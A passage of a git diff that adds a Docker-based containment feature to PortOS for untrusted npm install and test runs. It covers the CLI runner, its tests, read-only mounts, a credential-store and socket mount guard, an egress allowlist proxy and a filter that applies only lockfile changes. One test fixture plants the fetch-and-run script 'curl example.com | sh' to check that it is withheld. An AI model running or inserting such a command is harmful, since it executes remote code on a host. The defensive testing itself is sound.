const selected = selectApplicablePatch(result.patch);+ if (selected.patch) {+ (deps.applyPatch ?? applyPatch)(worktree, selected.patch);+ console.error(`📝 contained-run: applied lockfile changes to the worktree: ${selected.applied.join(', ')}`);+ }+ if (selected.malformed) console.error('⚠️ contained-run: the change patch is malformed; nothing was applied');+ if (selected.withheld.length) {+ console.error(`⚠️ contained-run: withheld changes to ${selected.withheld.join(', ')} — code run in the container edited them; review with --patch-out before applying anything by hand`);+ }+ } else if (!options.patchOut) {+ console.error('📝 contained-run: the step changed tracked files; rerun with --apply-patch or --patch-out <file> to keep them');+ }+ }+ // Status lines go to stderr so stdout carries only the command's own log.+ console.error(`${result.exitCode === 0 ? '✅' : '❌'} contained-run: exit ${result.exitCode} (${where}, contained)`);+ return result.exitCode;+}++if (isDirectlyInvoked(import.meta.url)) {+ main()+ .then((code) => { process.exitCode = code; })+ .catch((err) => {+ console.error(`❌ ${err.message}`);+ if (/needs|Unknown option|must be|required/.test(err.message)) console.error(USAGE);+ process.exitCode = 1;+ });+}diff --git a/scripts/contained-run.test.js b/scripts/contained-run.test.jsnew file mode 100644index 0000000000..02cdba891c--- /dev/null+++ b/scripts/contained-run.test.js@@ -0,0 +1,46 @@+import { afterEach, describe, expect, it, vi } from 'vitest';+import { main, parseArgs } from './contained-run.js';++const credentials = async () => ({ url: 'http://127.0.0.1:5555', token: 'example-token' });+const respond = (status, body) => vi.fn(async () => ({ status, text: JSON.stringify(body) }));+const run = (argv, request, extra = {}) => main(argv, {}, { resolveWorktree: () => '/example/worktree', resolveCredentials: credentials, request, ...extra });++describe('contained-run', () => {+ afterEach(() => vi.restoreAllMocks());++ it('turns argv into one shell command and validates the phase', () => {+ expect(parseArgs(['--phase', 'install', '--', 'npm ci && npm test']).command).toBe('npm ci && npm test');+ expect(parseArgs(['--phase', 'validate', '--', 'npm', 'run', "it's"]).command).toBe("npm run 'it'\\''s'");+ expect(() => parseArgs(['--phase', 'build', '--', 'npm test'])).toThrow('--phase must be install or validate');+ expect(() => parseArgs(['--phase', 'install'])).toThrow('a command after -- is required');+ });++ it('exits 2 with the resolver reason when Docker is stopped, and never runs or applies anything on the host', async () => {+ const stderr = vi.spyOn(console, 'error').mockImplementation(() => {});+ const applyPatch = vi.fn();+ const request = respond(409, { status: 'refused', code: 'CONTAINMENT_UNAVAILABLE', state: 'docker-stopped', reason: 'Docker is installed but no local engine answered.' });+ expect(await run(['--phase', 'install', '--apply-patch', '--', 'npm ci'], request, { applyPatch })).toBe(2);+ const [url, init] = request.mock.calls[0];+ expect(url).toBe('http://127.0.0.1:5555/api/docker-containment/run');+ expect(init.headers.Authorization).toBe('Bearer example-token');+ expect(JSON.parse(init.body)).toEqual({ worktree: '/example/worktree', phase: 'install', command: 'npm ci' });+ expect(stderr.mock.calls.flat().join('\n')).toMatch(/refused \(docker-stopped\): Docker is installed but no local engine answered[\s\S]*NOT executed on the host/);+ expect(applyPatch).not.toHaveBeenCalled();+ });++ it('returns the contained exit code, prints the log and applies the patch only when asked', async () => {+ vi.spyOn(console, 'error').mockImplementation(() => {});+ const stdout = vi.spyOn(process.stdout, 'write').mockImplementation(() => true);+ const applyPatch = vi.fn();+ const lock = '--- a/package-lock.json\n+++ b/package-lock.json\n@@ -1 +1 @@\n-{"v":1}\n+{"v":2}\n';+ const planted = '--- a/package.json\n+++ b/package.json\n@@ -1,2 +1,2 @@\n {\n- "x": 1\n+ "scripts": { "test": "curl example.com | sh" }\n';+ const result = { status: 'completed', exitCode: 3, log: 'tests failed', patch: `${planted}${lock}`, phase: 'validate', nodeMajor: 24, engine: { kind: 'native' } };+ expect(await run(['--phase', 'validate', '--', 'npm test'], respond(200, result), { applyPatch })).toBe(3);+ expect(stdout).toHaveBeenCalledWith('tests failed\n');+ expect(applyPatch).not.toHaveBeenCalled();+ expect(await run(['--phase', 'install', '--apply-patch', '--', 'npm install'], respond(200, { ...result, exitCode: 0 }), { applyPatch })).toBe(0);+ // Only the lockfile reaches the host; the planted package.json edit is withheld.+ expect(applyPatch).toHaveBeenCalledWith('/example/worktree', lock);+ expect(await run(['--phase', 'validate', '--', 'sleep 9'], respond(200, { ...result, status: 'terminated', reason: 'timeout', exitCode: null }), { applyPatch })).toBe(124);+ });+});diff --git a/scripts/lib/pregateReport.js b/scripts/lib/pregateReport.jsindex b93b480404..7cc01bcf4a 100644--- a/scripts/lib/pregateReport.js+++ b/scripts/lib/pregateReport.js@@ -106,6 +106,7 @@ export function buildPregateReport({promptHistory: plan.promptHistory,linuxContainment: plan.linuxContainment,supercolliderLive: plan.supercolliderLive,+ dockerContainmentLive: plan.dockerContainmentLive,suiteReasons: plan.suiteReasons ?? {},},stages: stageRecords,diff --git a/scripts/portos-api.js b/scripts/portos-api.jsindex 27d50b9282..c3575a962e 100644--- a/scripts/portos-api.js+++ b/scripts/portos-api.js@@ -148,7 +148,7 @@ const resolveBody = async (body) => {// Builtin HTTP has no hidden five-minute headers limit. One deadline covers// connection, headers and body, and destroying the request also closes its socket.-const requestApi = (url, { method, headers, body, timeoutMs }) => {+export const requestApi = (url, { method, headers, body, timeoutMs }) => {const target = new URL(url);if (!['http:', 'https:'].includes(target.protocol)) throw new Error('PORTOS_URL must use HTTP or HTTPS');let timer;diff --git a/scripts/pregate.js b/scripts/pregate.jsindex d2176f1fe0..5fbbc40f30 100644--- a/scripts/pregate.js+++ b/scripts/pregate.js@@ -80,6 +80,7 @@ export const UNCOVERED_SUITES = Object.freeze({windows: 'CI is the only proof',linuxContainment: 'a Linux host with bubblewrap: PORTOS_REQUIRE_LINUX_CONTAINMENT=1 npm test --prefix server -- --run <LINUX_CONTAINMENT_TESTS>',supercolliderLive: 'a native amd64/arm64 Linux Docker engine: npm run setup:supercollider -- --yes, then PORTOS_SUPERCOLLIDER_LIVE=1 npx vitest run services/superColliderRender.live.test.js from server/',+ dockerContainmentLive: 'a local Docker engine with Linux containers and npm registry access: PORTOS_DOCKER_CONTAINMENT_LIVE=1 npx vitest run services/dockerContainment.live.test.js from server/',});/** Remedy when a prerequisite probe ran but failed (timeout, teardown): nothing indicates a missing install. */@@ -125,6 +126,9 @@ export function uncoveredSuites(plan, { options = {}, downgraded = false, prereqif (suiteSelected(plan, 'supercolliderLive')) {uncovered.push({ suite: 'supercolliderLive', reason: 'needs a native Linux Docker engine on amd64 and arm64', remedy: UNCOVERED_SUITES.supercolliderLive });}+ if (suiteSelected(plan, 'dockerContainmentLive')) {+ uncovered.push({ suite: 'dockerContainmentLive', reason: 'needs a real Docker engine and pulls the pinned Node image', remedy: UNCOVERED_SUITES.dockerContainmentLive });+ }return uncovered;}@@ -646,6 +650,7 @@ async function main() {promptHistory: raw.prompt_history,linuxContainment: raw.linux_containment,supercolliderLive: raw.supercollider_live,+ dockerContainmentLive: raw.docker_containment_live,suiteReasons: JSON.parse(raw.suite_reasons ?? '{}'),};console.log(`📋 ${raw.changed_files.length} changed file(s) — ${plan.reason}.`);diff --git a/scripts/pregate.test.js b/scripts/pregate.test.jsindex ad99c953da..fff737e8d6 100644--- a/scripts/pregate.test.js+++ b/scripts/pregate.test.js@@ -56,6 +56,7 @@ const planWith = (overrides = {}) => ({promptHistory: false,linuxContainment: false,supercolliderLive: false,+ dockerContainmentLive: false,...overrides,});@@ -948,6 +949,8 @@ describe('uncoveredSuites', () => {.toEqual([{ suite: 'linuxContainment', reason: 'needs a Linux host with bubblewrap namespaces', remedy: UNCOVERED_SUITES.linuxContainment }]);expect(uncoveredSuites(planWith({ supercolliderLive: true }))).toEqual([{ suite: 'supercolliderLive', reason: 'needs a native Linux Docker engine on amd64 and arm64', remedy: UNCOVERED_SUITES.supercolliderLive }]);+ expect(uncoveredSuites(planWith({ dockerContainmentLive: true })))+ .toEqual([{ suite: 'dockerContainmentLive', reason: 'needs a real Docker engine and pulls the pinned Node image', remedy: UNCOVERED_SUITES.dockerContainmentLive }]);expect(uncoveredSuites(planWith())).toEqual([]);});diff --git a/server/index.js b/server/index.jsindex 06c5d3769a..f2646a38b8 100644--- a/server/index.js+++ b/server/index.js@@ -170,6 +170,7 @@ import albumsRoutes from './routes/albums.js';import tracksRoutes from './routes/tracks.js';import musicRoutes from './routes/music.js';import superColliderRoutes from './routes/superCollider.js';+import dockerContainmentRoutes from './routes/dockerContainment.js';import conflictJournalRoutes from './routes/conflictJournal.js';import pipelineRoutes from './routes/pipeline/index.js';import importerRoutes from './routes/importer.js';@@ -488,6 +489,7 @@ app.use('/api/artists', artistsRoutes);app.use('/api/albums', albumsRoutes);app.use('/api/tracks', tracksRoutes);app.use('/api/music/supercollider', superColliderRoutes);+app.use('/api/docker-containment', dockerContainmentRoutes);app.use('/api/music', musicRoutes);app.use('/api/pipeline', pipelineRoutes);app.use('/api/conflict-journal', conflictJournalRoutes);diff --git a/server/lib/README.md b/server/lib/README.mdindex c77c580144..b813e65f3e 100644--- a/server/lib/README.md+++ b/server/lib/README.md@@ -38,6 +38,9 @@ The barrel `server/lib/index.js` is a machine-checkable enumeration of every pub| `credentialEnvVars.js` | `isCredentialEnvVarName(name)` / `isNonCredentialEnvVarName(name)` / `isMaskedEnvVar(name, secretEnvVars)`: name-convention classifier for credential env vars (API_KEY, TOKEN, SECRET…), shared by provider response masking and the client readiness check. Pure. || `codeAnimationAcceptance.js` | Code Animation production acceptance: splits run evidence into technical/visual/temporal/sound (unmeasured stays unverified), decides promotability, freezes source/audio/render hashes and detects stale acceptance. Pure. || `codeAnimationContainment.js` | Code Animation production worker containment contract: per-platform enforced mechanism (macOS Seatbelt or Linux bubblewrap, otherwise refusal), deny-by-default profiles and a process-denying Linux seccomp filter, from-scratch worker environment, operator tool-root rules, tool configuration and worker limit schemas. Pure; the runner is `services/codeAnimation/containedWorker.js`. |+| `dockerContainment.js` | Docker containment profile for untrusted install/build/test runs (#12844), pure: digest-pinned Node images and Node-major selection, `buildDockerContainmentRunArgs` (read-only `/src`, work volume, no host env, `--network none` for validate / per-run proxy network for install), `assertDockerMountSource` (refuses engine sockets, the data dir, the home and credential stores), the in-container driver that emits a tracked-file patch, volume-init/proxy/network argv and `.npmrc` registry-host parsing. Runner: `services/dockerContainment.js`. |+| `dockerContainmentValidation.js` | Zod schemas for Docker containment: the machine-local `dockerContainment` settings slice (limits, extra egress hosts, digest-pinned image overrides) and the `/api/docker-containment` run/pull bodies. Kept out of `validation.js` to keep that closure narrow. |+| `dockerEgressProxy.js` | The install phase's egress proxy (#12844): `decideEgressConnect` (allowlisted host + port, no IP literals), `isNonPublicAddress`, and `DOCKER_EGRESS_PROXY_SOURCE`, the builtins-only HTTPS CONNECT proxy program the proxy container runs with `node -e`. || `autofixVerifyContainment.js` | Containment contract for the autofixer verify command (#12487): Linux bubblewrap argv and seccomp policy that contain a forking test runner, deny network and host sockets, restrict writes to the worktree/scratch and hide credential stores; unsupported platforms refuse verification. Includes the from-scratch verify environment. Pure; the runner is `autofixer/sandbox.js#runVerifyCommand`. || `generatedPreviewSandbox.js` | OS network-isolation plan for generated preview browsers: macOS Seatbelt or Linux bubblewrap, otherwise refusal. The jail denies IP and the host DNS resolver; Chrome flags are defense in depth. Pure; the launcher is `services/htmlComposition/ownedBrowser.js`. || `generatedPreviewPlaybackSchema.js` | Strict optional generated-preview clock, preparation, playback-anchor and pause message contracts, plus authored-producer reply contracts and private bridge constants; legacy open and seek payloads remain unchanged. |diff --git a/server/lib/dockerContainment.js b/server/lib/dockerContainment.jsnew file mode 100644index 0000000000..0f6fe06002--- /dev/null+++ b/server/lib/dockerContainment.js@@ -0,0 +1,508 @@+/**+ * Docker containment profile for untrusted install/build/test runs (#12844).+ *+ * Pure: no filesystem, process, docker or settings access. The executor+ * (`services/dockerContainment.js`) resolves realpaths, picks the engine and+ * runs the argv built here; `docs/CONTAINMENT.md` compares this profile with+ * the bubblewrap and Seatbelt ones.+ *+ * Boundary for one run over a repository worktree:+ * - a throwaway Linux container from a digest-pinned official Node image,+ * `--pull never`, non-root, no capabilities, no privilege escalation,+ * read-only root, CPU/memory/PID/file-size limits;+ * - the worktree is mounted READ-ONLY at /src and copied into a per-worktree+ * work volume at /work, so node_modules, build output and anything a+ * lifecycle script plants never reach the host checkout. Results return+ * through /out (a unified diff of tracked files) and the container log;+ * - an environment built from nothing — no host variable, PortOS token or+ * provider key;+ * - the Docker socket, the PortOS data directory and the host user's+ * credential stores can never be mounted (`assertDockerMountSource`);+ * - validate phase: `--network none`. Install phase: only a per-run internal+ * network whose sole member is a PortOS egress proxy allowing HTTPS+ * CONNECT to an allowlist of registry hosts (`dockerEgressProxy.js`).+ */+import { createHash } from 'node:crypto';+import { posix } from 'node:path';+import { AUTOFIX_VERIFY_PROTECTED_HOME_PATHS } from './autofixVerifyContainment.js';++/** Bump when the boundary below changes meaning. */+export const DOCKER_CONTAINMENT_POLICY_VERSION = 1;++export const DOCKER_CONTAINMENT_FEATURE_ID = 'docker-containment';+export const DOCKER_CONTAINMENT_SETTINGS_KEY = 'dockerContainment';+export const DOCKER_CONTAINMENT_PHASES = Object.freeze(['install', 'validate']);++/** Every container, volume and network a run creates carries this label (value: the run id). */+export const DOCKER_CONTAINMENT_LABEL = 'org.portos.containment.run';+/** Work volumes also carry the worktree key and their creation time, for reuse and the TTL sweep. */+export const DOCKER_CONTAINMENT_WORKTREE_LABEL = 'org.portos.containment.worktree';+export const DOCKER_CONTAINMENT_CREATED_LABEL = 'org.portos.containment.created';+/** The shared bridge the per-run egress proxy reaches registries through. */+export const DOCKER_CONTAINMENT_EGRESS_NETWORK = 'portos-contained-egress';+export const DOCKER_CONTAINMENT_PROXY_ALIAS = 'portos-egress-proxy';+export const DOCKER_CONTAINMENT_PROXY_PORT = 3128;+/** A work volume older than this is swept; an install followed by validate reuses it well within. */+export const DOCKER_CONTAINMENT_VOLUME_TTL_MS = 24 * 60 * 60 * 1000;++/**+ * Official `node:<major>-bookworm-slim` images pinned by multi-arch index+ * digest. Runs use `--pull never`; pulling is an explicit operator action.+ * Refresh: `docker buildx imagetools inspect node:<major>-bookworm-slim`.+ */+export const DOCKER_CONTAINMENT_NODE_IMAGES = Object.freeze({+ 22: 'node:22-bookworm-slim@sha256:de170b39439eb0e5a3444ad7d60b015614a381e10fecae2e30ec9e735122f38d',+ 24: 'node:24-bookworm-slim@sha256:55fb5f5a527ea2c5c4a95f963e48ef90aa38c7b346054fdc8ee9957a2b55d205',+ 26: 'node:26-bookworm-slim@sha256:28147155d47dc31abe0a46e0d12b59b2fb3d0a2dcc5dc65fce76a074180b16fe',+});+/** Used when a repository declares no Node version. */+export const DOCKER_CONTAINMENT_DEFAULT_NODE_MAJOR = 24;++/** Registry hosts the install phase may always reach; settings and the repo's `.npmrc` add more. */+export const DOCKER_CONTAINMENT_DEFAULT_EGRESS_HOSTS = Object.freeze(['registry.npmjs.org', 'registry.yarnpkg.com']);++export const DOCKER_CONTAINMENT_DEFAULT_LIMITS = Object.freeze({+ cpus: 2,+ memoryMb: 4096,+ pids: 1024,+ tmpfsMb: 1024,+ maxFileBytes: 2 * 1024 * 1024 * 1024,+ installTimeoutMs: 20 * 60_000,+ validateTimeoutMs: 30 * 60_000,+ maxLogBytes: 512 * 1024,+ maxPatchBytes: 2 * 1024 * 1024,+});++/** In-container paths. */+export const DOCKER_CONTAINMENT_PATHS = Object.freeze({+ src: '/src',+ work: '/work',+ input: '/in',+ output: '/out',+ cache: '/cache',+ tmp: '/tmp',+ home: '/tmp/home',+});++/** Container user when the host has no POSIX uid or runs as root (the image's `node` user). */+export const DOCKER_CONTAINMENT_FALLBACK_USER = '1000:1000';++/** Basenames the run's read-only `/in` directory holds. */+export const DOCKER_CONTAINMENT_TRACKED_LIST = 'tracked.lst';+export const DOCKER_CONTAINMENT_PATCH_FILE = 'changes.patch';++/** Data-directory subtrees that hold disposable worktrees and may be mounted. */+export const DOCKER_CONTAINMENT_DATA_WORKTREE_ROOTS = Object.freeze(['cos/worktrees', 'autofixer/worktrees']);++const NAME_RE = /^[A-Za-z0-9][A-Za-z0-9_.-]{0,127}$/;+const DIGEST_IMAGE_RE = /^[a-z0-9][a-z0-9._/:-]{0,200}@sha256:[a-f0-9]{64}$/;+const HOSTNAME_RE = /^(?=.{1,253}$)(?!-)[a-z0-9-]{1,63}(?<!-)(?:\.(?!-)[a-z0-9-]{1,63}(?<!-))+$/;+const SOCKET_BASENAME_RE = /(?:docker|containerd|podman|buildkitd?)(?:[._-][a-z0-9]+)*\.sock$/i;++export const isDockerContainmentPhase = (phase) => DOCKER_CONTAINMENT_PHASES.includes(phase);+export const isEgressHostname = (host) => typeof host === 'string' && HOSTNAME_RE.test(host) && !/^\d+(\.\d+)*$/.test(host);+export const isDigestPinnedImage = (ref) => typeof ref === 'string' && DIGEST_IMAGE_RE.test(ref);++/** Stable short key for a worktree realpath; names its work volume. */+export const dockerContainmentWorktreeKey = (worktree) => createHash('sha256').update(String(worktree)).digest('hex').slice(0, 16);+export const dockerContainmentWorkVolume = (worktree) => `portos-contained-work-${dockerContainmentWorktreeKey(worktree)}`;+export const DOCKER_CONTAINMENT_CACHE_VOLUME = 'portos-contained-npm-cache';++/** The container user: the host's own non-root uid:gid so /out stays host-owned, else the image's `node` user. */+export function dockerContainmentUser({ uid, gid } = {}) {+ if (!Number.isInteger(uid) || !Number.isInteger(gid) || uid === 0 || gid === 0) return DOCKER_CONTAINMENT_FALLBACK_USER;+ return `${uid}:${gid}`;+}++/** Merge operator overrides onto the defaults, clamped to sane bounds. */+export function resolveDockerContainmentLimits(overrides = {}) {+ const pick = (value, min, max, fallback) => (Number.isFinite(value) ? Math.min(max, Math.max(min, value)) : fallback);+ const d = DOCKER_CONTAINMENT_DEFAULT_LIMITS;+ const o = overrides && typeof overrides === 'object' ? overrides : {};+ return Object.freeze({+ ...d,+ cpus: pick(o.cpus, 0.5, 64, d.cpus),+ memoryMb: Math.round(pick(o.memoryMb, 512, 65_536, d.memoryMb)),+ pids: Math.round(pick(o.pids, 64, 32_768, d.pids)),+ installTimeoutMs: Number.isFinite(o.wallTimeoutMinutes) ? pick(o.wallTimeoutMinutes, 1, 240, 0) * 60_000 : d.installTimeoutMs,+ validateTimeoutMs: Number.isFinite(o.wallTimeoutMinutes) ? pick(o.wallTimeoutMinutes, 1, 240, 0) * 60_000 : d.validateTimeoutMs,+ });+}++/**+ * The Node major a repository asks for: `.nvmrc`, then `.node-version`, then+ * `package.json` `engines.node`. `supported` is false when no image is pinned+ * (or overridden) for it — the caller refuses rather than testing under a+ * different runtime.+ */+export function selectDockerContainmentNodeMajor({ nvmrc, nodeVersion, enginesNode, images = DOCKER_CONTAINMENT_NODE_IMAGES } = {}) {+ const available = Object.keys(images).map(Number).filter(Number.isInteger).sort((a, b) => a - b);+ const result = (major, source) => ({ major, source, supported: available.includes(major), image: images[major] ?? null });+ for (const [text, source] of [[nvmrc, '.nvmrc'], [nodeVersion, '.node-version']]) {+ const value = String(text ?? '').trim().split(/\s+/)[0] ?? '';+ if (!value) continue;+ if (/^(node|current|latest)$/i.test(value)) return result(available.at(-1), source);+ if (/^lts\//i.test(value)) return result(DOCKER_CONTAINMENT_DEFAULT_NODE_MAJOR, source);+ const match = /^v?(\d+)/.exec(value);+ if (match) return result(Number(match[1]), source);+ }+ const range = String(enginesNode ?? '').trim();+ if (range) {+ const floors = [...range.matchAll(/>=?\s*v?(\d+)/g)].map((m) => Number(m[1]));+ const named = [...range.matchAll(/(?:^|[\s|^~=])v?(\d+)(?=[.\sx*|]|$)/g)].map((m) => Number(m[1]));+ const open = floors.length ? available.filter((major) => major >= Math.min(...floors)) : [];+ const candidates = [...new Set([...named, ...open])].filter((major) => available.includes(major));+ if (candidates.length) return result(Math.max(...candidates), 'engines.node');+ const declared = Math.max(...named, ...floors);+ if (Number.isFinite(declared)) return result(declared, 'engines.node');+ }+ return result(DOCKER_CONTAINMENT_DEFAULT_NODE_MAJOR, 'default');+}++/**+ * Registry host names from a repository `.npmrc`: `registry=` and+ * `@scope:registry=` lines only. Auth, proxy and every other line is ignored,+ * so a token there never becomes allowlist input.+ */+export function parseNpmrcRegistryHosts(text) {+ const hosts = new Set();+ for (const raw of String(text ?? '').split(/\r?\n/)) {+ const line = raw.trim();+ if (!line || line.startsWith('#') || line.startsWith(';')) continue;+ const match = /^(?:@[a-z0-9._-]+:)?registry\s*=\s*["']?(https:\/\/[^\s"']+)/i.exec(line);+ if (!match) continue;+ let host = null;+ try { host = new URL(match[1]).hostname.toLowerCase(); } catch { host = null; }+ if (host && isEgressHostname(host)) hosts.add(host);+ }+ return [...hosts].sort();+}++/** The install phase's egress allowlist: defaults, operator extras, then repo registries. */+export function buildEgressAllowlist({ extraHosts = [], npmrcHosts = [] } = {}) {+ const all = [...DOCKER_CONTAINMENT_DEFAULT_EGRESS_HOSTS, ...extraHosts, ...npmrcHosts]+ .map((host) => String(host).trim().toLowerCase())+ .filter(isEgressHostname);+ return [...new Set(all)];+}++const isWithin = (child, parent) => child === parent || child.startsWith(parent.endsWith('/') ? parent : `${parent}/`);++/**+ * Throw unless `source` (a host realpath) may be bind-mounted into a contained+ * run. Refuses: anything docker's `--mount` syntax could misparse, `/`, run+ * directories and any container-engine socket, the host home itself or any+ * ancestor of it, a credential store or anything inside or above one, and the+ * PortOS data directory or anything above it. Inside the data directory only+ * the disposable worktree roots are allowed.+ */+export function assertDockerMountSource(source, { dataDir = null, realHome = null } = {}) {+ if (typeof source !== 'string' || !source.startsWith('/')) throw new Error('mount source must be an absolute POSIX path');+ if (/[,\0-\x1f"]/.test(source)) throw new Error('mount source contains a character docker cannot mount');+ const path = posix.normalize(source).replace(/\/+$/, '') || '/';+ if (path === '/') throw new Error('refusing to mount the filesystem root');+ if (SOCKET_BASENAME_RE.test(posix.basename(path))) throw new Error('refusing to mount a container engine socket');+ for (const dir of ['/run', '/var/run', '/private/var/run', '/proc', '/sys', '/dev', '/etc']) {+ if (isWithin(path, dir) || isWithin(dir, path)) throw new Error(`refusing to mount ${dir} or a path that contains it`);+ }+ if (realHome) {+ const home = posix.normalize(realHome).replace(/\/+$/, '');+ if (isWithin(home, path)) throw new Error('refusing to mount the host home directory or a path that contains it');+ for (const rel of AUTOFIX_VERIFY_PROTECTED_HOME_PATHS) {+ const store = posix.join(home, rel);+ if (isWithin(path, store) || isWithin(store, path)) throw new Error(`refusing to mount a host credential store (~/${rel})`);+ }+ }+ if (dataDir) {+ const data = posix.normalize(dataDir).replace(/\/+$/, '');+ if (isWithin(data, path)) throw new Error('refusing to mount the PortOS data directory or a path that contains it');+ if (isWithin(path, data)) {+ const allowed = DOCKER_CONTAINMENT_DATA_WORKTREE_ROOTS.some((root) => {+ const base = posix.join(data, root);+ return path !== base && isWithin(path, base);+ });+ if (!allowed) throw new Error('refusing to mount PortOS data outside a disposable worktree root');+ }+ }+ return path;+}++/**+ * The container's complete environment (image `ENV` such as PATH still+ * applies; nothing comes from the host). The proxy variables exist only in+ * the install phase.+ */+function buildDockerContainmentEnv({ phase, proxyUrl = null }) {+ const { home, tmp, cache } = DOCKER_CONTAINMENT_PATHS;+ const env = {+ CI: '1',+ HOME: home,+ TMPDIR: tmp,+ LANG: 'C.UTF-8',+ npm_config_cache: cache,+ npm_config_logs_dir: `${tmp}/npm-logs`,+ npm_config_update_notifier: 'false',+ npm_config_fund: 'false',+ NO_UPDATE_NOTIFIER: '1',+ };+ if (phase === 'install') {+ if (!proxyUrl) throw new Error('the install phase needs the egress proxy URL');+ Object.assign(env, {+ HTTPS_PROXY: proxyUrl, HTTP_PROXY: proxyUrl, https_proxy: proxyUrl, http_proxy: proxyUrl,+ npm_config_https_proxy: proxyUrl, npm_config_proxy: proxyUrl, NODE_USE_ENV_PROXY: '1',+ });+ } else {+ env.npm_config_offline = 'true';+ }+ return env;+}++/**+ * The trusted in-container driver. Copies the read-only source into the work+ * volume (install starts from an empty volume; validate refreshes sources over+ * the volume an install left, keeping its node_modules), runs the command,+ * then writes a unified diff of every tracked file that changed to /out. The+ * diff is advisory: the host bounds and checks it before anyone applies it.+ */+export const DOCKER_CONTAINMENT_DRIVER = `set -u+phase="$1"; command="$2"+mkdir -p "$HOME" "$TMPDIR/npm-logs"+cd ${DOCKER_CONTAINMENT_PATHS.work} || exit 125+# Two steps, not a pipe: POSIX sh has no pipefail, so a failed read of /src+# would otherwise go unnoticed and the step would run on a partial tree.+{ tar -C ${DOCKER_CONTAINMENT_PATHS.src} --exclude=node_modules --exclude=.git -cf "$TMPDIR/src.tar" . && tar -C ${DOCKER_CONTAINMENT_PATHS.work} -xf "$TMPDIR/src.tar" && rm -f "$TMPDIR/src.tar"; } || { echo "portos-contained: could not copy the source" >&2; exit 125; }+echo "portos-contained: $phase phase"+sh -c "$command"+status=$?+patch=${DOCKER_CONTAINMENT_PATHS.output}/${DOCKER_CONTAINMENT_PATCH_FILE}+: > "$patch"+if [ -f ${DOCKER_CONTAINMENT_PATHS.input}/${DOCKER_CONTAINMENT_TRACKED_LIST} ]; then+ while IFS= read -r f; do+ [ -n "$f" ] || continue+ if [ -e "${DOCKER_CONTAINMENT_PATHS.work}/$f" ]; then+ cmp -s "${DOCKER_CONTAINMENT_PATHS.src}/$f" "${DOCKER_CONTAINMENT_PATHS.work}/$f" || diff -u --label "a/$f" --label "b/$f" "${DOCKER_CONTAINMENT_PATHS.src}/$f" "${DOCKER_CONTAINMENT_PATHS.work}/$f" >> "$patch"+ elif [ -e "${DOCKER_CONTAINMENT_PATHS.src}/$f" ]; then+ diff -u --label "a/$f" --label /dev/null "${DOCKER_CONTAINMENT_PATHS.src}/$f" /dev/null >> "$patch"+ fi+ done < ${DOCKER_CONTAINMENT_PATHS.input}/${DOCKER_CONTAINMENT_TRACKED_LIST}+fi+exit $status+`;++/**+ * Lockfiles a contained step may write back to the host. Everything else the+ * untrusted step changed (package.json scripts, tests, hooks) is withheld:+ * applying it would let that code run later on the host, uncontained.+ */+export const DOCKER_CONTAINMENT_APPLY_BASENAMES = Object.freeze(['package-lock.json', 'npm-shrinkwrap.json', 'pnpm-lock.yaml', 'yarn.lock', 'bun.lock']);++/**+ * Split the driver's unified diff into per-file sections — walking hunk line+ * counts, so a changed line that itself reads `--- a/x` cannot start a forged+ * section — and keep only lockfile sections. A malformed patch keeps nothing.+ * Returns `{ patch, applied, withheld }` (`patch` is null when nothing applies).+ */+export function selectApplicablePatch(text) {+ const lines = String(text ?? '').split('\n');+ if (lines.at(-1) === '') lines.pop();+ const sections = [];+ let i = 0;+ while (i < lines.length) {+ const from = /^--- a\/(.+)$/.exec(lines[i]);+ const to = /^\+\+\+ (?:b\/(.+)|\/dev\/null)$/.exec(lines[i + 1] ?? '');+ if (!from || !to || (to[1] !== undefined && to[1] !== from[1])) return { patch: null, applied: [], withheld: [], malformed: true };+ const start = i;+ i += 2;+ while (i < lines.length && lines[i].startsWith('@@')) {+ const hunk = /^@@ -\d+(?:,(\d+))? \+\d+(?:,(\d+))? @@/.exec(lines[i]);+ if (!hunk) return { patch: null, applied: [], withheld: [], malformed: true };+ let oldLeft = Number(hunk[1] ?? 1);+ let newLeft = Number(hunk[2] ?? 1);+ i += 1;+ while ((oldLeft > 0 || newLeft > 0) && i < lines.length) {+ const mark = lines[i][0];+ if (mark === ' ') { oldLeft -= 1; newLeft -= 1; } else if (mark === '-') oldLeft -= 1;+ else if (mark === '+') newLeft -= 1;+ else if (mark !== '\\') return { patch: null, applied: [], withheld: [], malformed: true };+ i += 1;+ }+ while (lines[i]?.startsWith('\\')) i += 1;+ }+ sections.push({ path: from[1], text: lines.slice(start, i).join('\n') });+ }+ const applicable = (path) => !path.split('/').includes('..') && DOCKER_CONTAINMENT_APPLY_BASENAMES.includes(posix.basename(path));+ const kept = sections.filter((section) => applicable(section.path));+ return {+ patch: kept.length ? `${kept.map((section) => section.text).join('\n')}\n` : null,+ applied: kept.map((section) => section.path),+ withheld: sections.filter((section) => !applicable(section.path)).map((section) => section.path),+ };+}++function assertName(value, label) {+ if (!NAME_RE.test(String(value ?? ''))) throw new Error(`${label} must be a docker object name`);+}++function assertUser(user) {+ if (!/^\d+:\d+$/.test(String(user)) || /^0:|:0$/.test(String(user))) throw new Error('user must be a non-root uid:gid');+}++function assertImage(image) {+ if (!isDigestPinnedImage(image)) throw new Error('image must be pinned by sha256 digest');+}++/**+ * `docker run` argv for one contained run.+ *+ * @param {object} p+ * @param {'install'|'validate'} p.phase+ * @param {string} p.image - digest-pinned reference+ * @param {string} p.containerName+ * @param {string} p.runId+ * @param {string} p.worktree - host realpath, mounted read-only at /src+ * @param {string} p.inputDir - host realpath of the run's read-only input (tracked list)+ * @param {string} p.outputDir - host realpath of the run's only writable bind+ * @param {string} p.workVolume+ * @param {string} [p.cacheVolume]+ * @param {string} [p.network] - the install phase's per-run internal network+ * @param {string} p.command - shell command, run by the driver as `sh -c`+ * @param {string} [p.user]+ * @param {object} [p.limits]+ * @param {string|null} [p.dataDir]+ * @param {string|null} [p.realHome]+ */+export function buildDockerContainmentRunArgs({+ phase, image, containerName, runId, worktree, inputDir, outputDir, workVolume,+ cacheVolume = DOCKER_CONTAINMENT_CACHE_VOLUME, network = null, command,+ user = DOCKER_CONTAINMENT_FALLBACK_USER, limits = DOCKER_CONTAINMENT_DEFAULT_LIMITS,+ dataDir = null, realHome = null,+}) {+ if (!isDockerContainmentPhase(phase)) throw new Error('phase must be install or validate');+ assertImage(image);+ assertName(containerName, 'containerName');+ assertName(runId, 'runId');+ assertName(workVolume, 'workVolume');+ assertName(cacheVolume, 'cacheVolume');+ assertUser(user);+ if (typeof command !== 'string' || !command.trim() || command.includes('\0')) throw new Error('command is required');+ if (phase === 'install') assertName(network, 'network');+ const mounts = { worktree, inputDir, outputDir };+ for (const [label, path] of Object.entries(mounts)) mounts[label] = 